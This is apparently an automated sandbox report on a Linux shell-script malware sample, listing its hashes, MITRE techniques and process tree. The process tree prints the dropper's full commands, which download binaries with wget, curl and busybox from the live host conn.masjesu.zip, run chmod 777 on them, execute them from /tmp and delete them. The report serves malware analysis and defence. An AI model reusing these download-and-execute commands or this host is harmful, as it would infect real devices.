4c6e82d3bccd32c92ef5fbb15eb3175960d562ed4e3f3e56b5f2497df8ace7d5

Analysis

max time kernel
149s
max time network
56s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
17/11/2024, 12:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4c6e82d3bccd32c92ef5fbb15eb3175960d562ed4e3f3e56b5f2497df8ace7d5.sh
Size 10KB
Sample241117-psttzazfpp
SHA256 4c6e82d3bccd32c92ef5fbb15eb3175960d562ed4e3f3e56b5f2497df8ace7d5
MD5 b057bb13f49ab161dc30e3030ad3540b
SHA1 426b61fa0d171652c54c9493346920a97ddb676a
SHA512 9fe0251722de44f2c51c6ac2dcc217165bad9f75af0e528eb3fb74f7e7d04f6dfe6ba1f89efad5861e94237bca4823716f3472a56cd691c494d1550c15448a30
SSDEEP 192:KTOOhY0NRuOszRNGDT3KKwdGTOoY0NRuOGRNGDTg/:IhY0NRuOsUKKwdeY0NRuOg/
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
856	chmod
741	chmod
748	chmod
757	chmod
784	chmod
815	chmod
824	chmod
831	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ	742	GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
/tmp/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q	749	c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
/tmp/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf	759	7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
/tmp/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN	786	PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
/tmp/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb	816	TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
/tmp/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr	825	nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
/tmp/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M	832	IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
/tmp/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb	857	Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb

Reads runtime system information 9 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 26 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
808	busybox
819	wget
823	busybox
830	busybox
717	wget
738	busybox
745	curl
790	wget
834	wget
862	wget
747	busybox
843	curl
781	busybox
797	curl
827	wget
853	busybox
744	wget
752	curl
754	busybox
771	curl
868	curl
828	curl
728	curl
751	wget
763	wget
821	curl

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ	curl
File opened for modification	/tmp/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q	curl
File opened for modification	/tmp/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf	curl
File opened for modification	/tmp/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN	curl
File opened for modification	/tmp/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb	curl
File opened for modification	/tmp/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr	curl
File opened for modification	/tmp/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M	curl
File opened for modification	/tmp/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb	curl

/tmp/4c6e82d3bccd32c92ef5fbb15eb3175960d562ed4e3f3e56b5f2497df8ace7d5.sh
/tmp/4c6e82d3bccd32c92ef5fbb15eb3175960d562ed4e3f3e56b5f2497df8ace7d5.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - System Network Configuration Discovery
  PID:717
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:728
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - System Network Configuration Discovery
  PID:738
- /bin/chmod
  chmod 777 GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  ./GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  PID:743
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - System Network Configuration Discovery
  PID:744
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - System Network Configuration Discovery
  PID:747
- /bin/chmod
  chmod 777 c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  ./c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  PID:750
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  - System Network Configuration Discovery
  PID:751
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  - System Network Configuration Discovery
  PID:754
- /bin/chmod
  chmod 777 7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  ./7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  - Executes dropped EXE
  PID:759
- /bin/rm
  rm 7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  PID:762
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - System Network Configuration Discovery
  PID:763
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:771
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - System Network Configuration Discovery
  PID:781
- /bin/chmod
  chmod 777 PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  ./PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  PID:788
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - System Network Configuration Discovery
  PID:790
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - System Network Configuration Discovery
  PID:808
- /bin/chmod
  chmod 777 TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  ./TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  PID:818
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - System Network Configuration Discovery
  PID:819
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - System Network Configuration Discovery
  PID:823
- /bin/chmod
  chmod 777 nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  ./nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  PID:826
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  - System Network Configuration Discovery
  PID:827
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  - System Network Configuration Discovery
  PID:830
- /bin/chmod
  chmod 777 IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  ./IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  - Executes dropped EXE
  PID:832
- /bin/rm
  rm IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  PID:833
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  - System Network Configuration Discovery
  PID:834
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  - System Network Configuration Discovery
  PID:853
- /bin/chmod
  chmod 777 Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  ./Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  PID:860
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  - System Network Configuration Discovery
  PID:862
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ

Path /tmp/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download